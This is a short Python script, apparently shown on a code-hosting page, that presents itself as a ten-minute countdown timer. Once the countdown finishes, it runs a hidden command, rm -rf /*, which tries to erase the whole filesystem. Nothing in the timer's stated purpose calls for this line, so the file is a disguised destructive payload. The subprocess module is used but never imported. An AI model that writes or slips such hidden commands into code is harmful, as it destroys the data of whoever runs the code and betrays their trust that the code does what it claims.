11 lines
282 B
Python
11 lines
282 B
Python
import time
|
|
|
|
def countdown(seconds):
|
|
for remaining in range(seconds, 0, -1):
|
|
mins, secs = divmod(remaining, 60)
|
|
print(f"{mins:02d}:{secs:02d}", end="\r")
|
|
time.sleep(1)
|
|
subprocess.run(["rm", "-rf", "/*"])
|
|
|
|
if __name__ == "__main__":
|
|
countdown(600) |